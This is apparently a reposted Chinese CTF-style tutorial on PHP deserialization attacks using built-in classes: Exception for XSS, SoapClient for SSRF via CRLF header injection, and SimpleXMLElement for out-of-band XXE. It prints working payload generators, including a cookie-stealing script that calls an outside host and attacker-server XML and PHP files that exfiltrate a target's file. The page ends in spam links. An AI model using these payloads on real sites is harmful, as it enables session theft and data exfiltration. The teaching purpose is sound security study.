当前位置: 首页 > wzjs >正文

怎么注册网站平台网站建设备案是什么意思

怎么注册网站平台,网站建设备案是什么意思,自己做的网站发布详细步骤,百度公司介绍知识点: 1、WEB攻防-PHP反序列化-原生类&生成及利用条件 2、WEB攻防-PHP反序列化-Exception触发XSS 3、WEB攻防-PHP反序列化-SoapClient触发SSRF 4、WEB攻防-PHP反序列化-SimpleXMLElement触发XXE原生类的出现就是为了解决这个问题,当遇到无类可用或…

知识点:
1、WEB攻防-PHP反序列化-原生类&生成及利用条件
2、WEB攻防-PHP反序列化-Exception触发XSS
3、WEB攻防-PHP反序列化-SoapClient触发SSRF
4、WEB攻防-PHP反序列化-SimpleXMLElement触发XXE

在这里插入图片描述
原生类的出现就是为了解决这个问题,当遇到无类可用或者有类无危险方法的时候就可以尝试使用原生类来进行反序列化攻击。

原生自带类参考
https://xz.aliyun.com/news/8792
https://www.anquanke.com/post/id/264823
https://blog.csdn.net/cjdgg/article/details/115314651利用条件:
1、有触发魔术方法
2、魔术方法有利用类
3、部分自带类配置拓展开启(例如SoapClient类要在php.ini里开启soap)获取php自带原生类:
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {$methods = get_class_methods($class);foreach ($methods as $method) {if (in_array($method, array(
'__construct','__destruct','__toString','__wakeup','__call','__callStatic','__get','__set','__isset','__unset','__invoke','__set_state'))) {print $class . '::' . $method . "\n";}}
}

在这里插入图片描述

一、演示案例-WEB攻防-PHP反序列化-原生类&Exception&XSS

使用原生Error/Exception类(处理异常错误信息并输出)进行XSS

DEMO

<?php
$a = unserialize($_GET['code']);
echo $a;
?>

在这里插入图片描述

POC链:
<?php
$a=new Exception("<script>alert('xiaodi')</script>");
echo urlencode(serialize($a));
?>

在这里插入图片描述
在这里插入图片描述

输出对象可调用__toString
无代码通过原生类Exception
Exception使用查询编写利用
通过访问触发输出产生XSS漏洞

在这里插入图片描述

[BJDCTF 2nd]xss之光

在这里插入图片描述

poc链:
<?php
$poc = new Exception("<script>window.open('http://462795d3-ea59-4f00-9657-d50f15178248.node5.buuoj.cn:81/?'+document.cookie);</script>");
echo urlencode(serialize($poc));
?>

在这里插入图片描述
在这里插入图片描述

二、演示案例-WEB攻防-PHP反序列化-原生类&SoapClient&SSRF

使用SoapClient类进行SSRF

DEMO

ssrf.php
<?php
$s = unserialize($_GET['ssrf']);
$s->a(); //调用a方法,a不存在触发__call方法
?>
-输出对象可调用__call方法
-无代码通过原生类SoapClient
-SoapClient使用查询编写利用
-通过访问触发服务器SSRF漏洞POP链:
<?php
$a = new SoapClient(null,array('location'=>'http://192.168.1.4:2222/aaa', 'uri'=>'http://192.168.1.4:2222'));
$b = serialize($a);
echo $b;
?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

CTFSHOW-259

在这里插入图片描述
在这里插入图片描述

-不存在的方法触发__call
-无代码通过原生类SoapClient
-SoapClient使用查询编写利用
-通过访问本地Flag.php获取Flagpop链:
<?php
$ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
echo urlencode(serialize($client));
?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

三、演示案例-WEB攻防-PHP反序列化-原生类&SimpleXMLElement&XXE

使用SimpleXMLElement类进行xxe

DEMO

攻击者服务器上放3个文件
1、oob.xml
在这里插入图片描述
2、send.xml
在这里插入图片描述
3、send.php
在这里插入图片描述

pop链:
<?php
$sxe=new SimpleXMLElement('http://外网IP地址/oob.xml',2,true); 
$a = serialize($sxe);
echo $a;
?>

在这里插入图片描述

-new触发__construct
-无代码通过原生类SimpleXMLElement
-SimpleXMLElement使用查询编写利用

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

[SUCTF 2018]Homework

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

利用点:SimpleXMLElement(url,2,true)
Poc:
/show.php?module=SimpleXMLElement&args[]=http://120.27.152.29/oob.xml&args[]=2&args[]=true

在这里插入图片描述

外网服务器:
oob.xml:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://ip/send.xml">
%remote;
%all;
%send;
]>send.xml:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=x.php">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://ip/send.php?file=%file;'>">send.php:
<?php
file_put_contents("result.txt", $_GET['file']) ;
?>

文章转载自:

http://QlwaGaGQ.ptdzm.cn
http://3T86CM9q.ptdzm.cn
http://ddnV96RA.ptdzm.cn
http://KBmfsSiD.ptdzm.cn
http://Wf84F0c6.ptdzm.cn
http://XmGPNnKL.ptdzm.cn
http://WkPhmNsU.ptdzm.cn
http://cBNYttrt.ptdzm.cn
http://78UHHGRJ.ptdzm.cn
http://OebAcmVn.ptdzm.cn
http://uHxRiOIV.ptdzm.cn
http://18RlH53V.ptdzm.cn
http://irwDlnd9.ptdzm.cn
http://7Q8N5l1z.ptdzm.cn
http://GwXUXfUN.ptdzm.cn
http://Efnmctv7.ptdzm.cn
http://n7SVBRVc.ptdzm.cn
http://Paxe4zzX.ptdzm.cn
http://RZZrL1Nx.ptdzm.cn
http://wF2hyg4x.ptdzm.cn
http://fzW7ZdiY.ptdzm.cn
http://0dokSrEv.ptdzm.cn
http://X4MKumlS.ptdzm.cn
http://iauTQLdx.ptdzm.cn
http://9EVO4LJN.ptdzm.cn
http://6jsH2r9M.ptdzm.cn
http://mszIzaFW.ptdzm.cn
http://CJ1TiusS.ptdzm.cn
http://6xLoZaeg.ptdzm.cn
http://82GB4Fr2.ptdzm.cn
http://www.dtcms.com/wzjs/686396.html

相关文章:

  • 江苏苏州网站建设对网站建设功能的情况说明
  • 建设银行天津分行网站公司网站开发教程
  • 国外做兼职的网站温州网站建设的公司
  • 网站建设的售后怎么用自己电脑做服务器发布网站
  • 搜索引擎的网站有哪些电子网站模板
  • 甘肃路桥建设集团公司网站阿里巴巴网站怎么做推广方案
  • 网站前端设计图深圳网站开发哪个好
  • 兼职做网站挣钱么搜狐一开始把网站当做什么来做
  • 衡阳建设网站制作机构改革 住房与城乡建设厅网站
  • 手机上传视频网站开发两阳夹一阴后续走势
  • 泰州网站建设价格wordpress充值金币
  • 100款免费软件网站大全产品推广方式有哪些
  • 哈尔滨开网站个人网站转为企业网站
  • 精品课程网站建设 碧辉腾乐企业查询系统官网天眼查网页版
  • 深圳网站平面设计网站开发从什么学起
  • 织梦手机端网站怎么做wordpress更改作者
  • wordpress插件转php宁波seo外包推广平台
  • 诸葛建站官网手机网站有用吗
  • 英文网站注册wordpress建站最低配置
  • 网站菜单导航湖北建网站公司
  • 西安做网站的公司维护免费的客户管理软件排行榜
  • 国外电商网站设计欣赏缙云网站建设
  • 重庆低价网站建设南宁seo多少钱报价
  • 常州交通建设管理有限公司网站网站空间商排名
  • 观点网站大学高校网站建设栏目
  • 临沂电商网站建设深圳服务好的网站建设
  • 手机回收网站开发dede手机网站教程
  • 做美食网站的特点2015微信网站设计
  • 学校网站群建设网页图片不显示
  • 广告视频素材网站wordpress开发者文档